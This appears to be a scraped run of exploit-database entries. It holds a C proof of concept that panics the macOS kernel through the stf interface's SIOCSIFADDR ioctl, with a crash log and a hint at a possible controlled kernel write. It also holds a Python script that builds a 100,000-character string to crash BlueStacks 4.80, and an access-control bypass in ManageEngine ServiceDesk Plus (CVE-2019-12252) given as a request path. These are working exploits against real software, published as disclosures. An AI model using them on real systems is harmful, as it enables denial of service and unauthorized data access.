#include <sys/socket.h> #include <unistd.h> #include <net/if.h> #include <string.h> /* # Reproduction Tested on macOS 10.14.3: $ clang -o stf_wild_read stf_wild_read.cc $ ./stf_wild_read # Explanation SIOCSIFADDR is an ioctl that sets the address of an interface. The stf interface ioctls are handled by the stf_ioctl function. The crash occurs in the following case where a `struct ifreq` is read into kernel memory and then casted to the incorrect `struct ifaddr` type. I suspect this ioctl is not intended to be reachable by the user, but is unintentionally exposed without the necessary translation from `ifreq` to `ifaddr`, e.g. as it is done in `inctl_ifaddr`. case SIOCSIFADDR: ifa = (struct ifaddr *)data; if (ifa == NULL) { error = EAFNOSUPPORT; break; } IFA_LOCK(ifa); if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here IFA_UNLOCK(ifa); error = EAFNOSUPPORT; break; } Note that IFA_LOCK is called on user-provided data; it appears that there is an opportunity for memory corruption (a controlled write) when using indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow). # Crash Log panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers: CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0 RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000 RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000 R8: 0xffffff805f9db7f0, R9: 0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000 R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10 RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0 Backtrace (CPU 6), Frame : Return Address 0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d 0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153 0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa 0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0 0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63 0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d 0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0 0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558 0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217 0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214 0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114 0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f 0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8 0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b 0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c 0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b 0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16 */ #define IPPROTO_IP 0 int main() { int s = socket(AF_SYSTEM, SOCK_DGRAM, IPPROTO_IP); if (s < 0) { printf("failed\n"); return 1; } struct ifreq ifr = {}; memcpy(ifr.ifr_name, "stf0\0000", 8); int err = ioctl(s, SIOCSIFADDR, (char *)&ifr); close(s); printf("done\n"); return 0; }
  24. # -*- coding: utf-8 -*- # Exploit Title: BlueStacks 4.80.0.1060 - Denial of Service (PoC) # Date: 21/05/2019 # Author: Alejandra Sánchez # Vendor Homepage: https://www.bluestacks.com # Software: https://www.bluestacks.com/download.html?utm_campaign=bluestacks-4-en # Version: 4.80.0.1060 # Tested on: Windows 10 # Proof of Concept: # 1.- Run the python script 'Bluestacks.py', it will create a new file 'exploit.txt' # 2.- Copy the text from the generated exploit.txt file to clipboard # 3.- Open BlueStacks # 4.- Paste clipboard in the search field and click on the search button # 5.- Crashed buffer = "\x41" * 100000 f = open ("exploit.txt", "w") f.write(buffer) f.close()
  25. # Exploit Title: Zoho ManageEngine ServiceDesk Plus < 10.5 Incorrect Access Control # Date: 2019-05-21 # Exploit Author: Enter of VinCSS (Vingroup) # Vendor Homepage: https://www.manageengine.com/products/service-desk # Version: Zoho ManageEngine ServiceDesk Plus < 10.5 # CVE : CVE-2019-12252 In Zoho ManageEngine ServiceDesk Plus through 10.5, users with the lowest privileges (guest) can view an arbitrary post by appending its number to the SDNotify.do?notifyModule=Solution&mode=E-Mail&notifyTo=SOLFORWARD&id= substring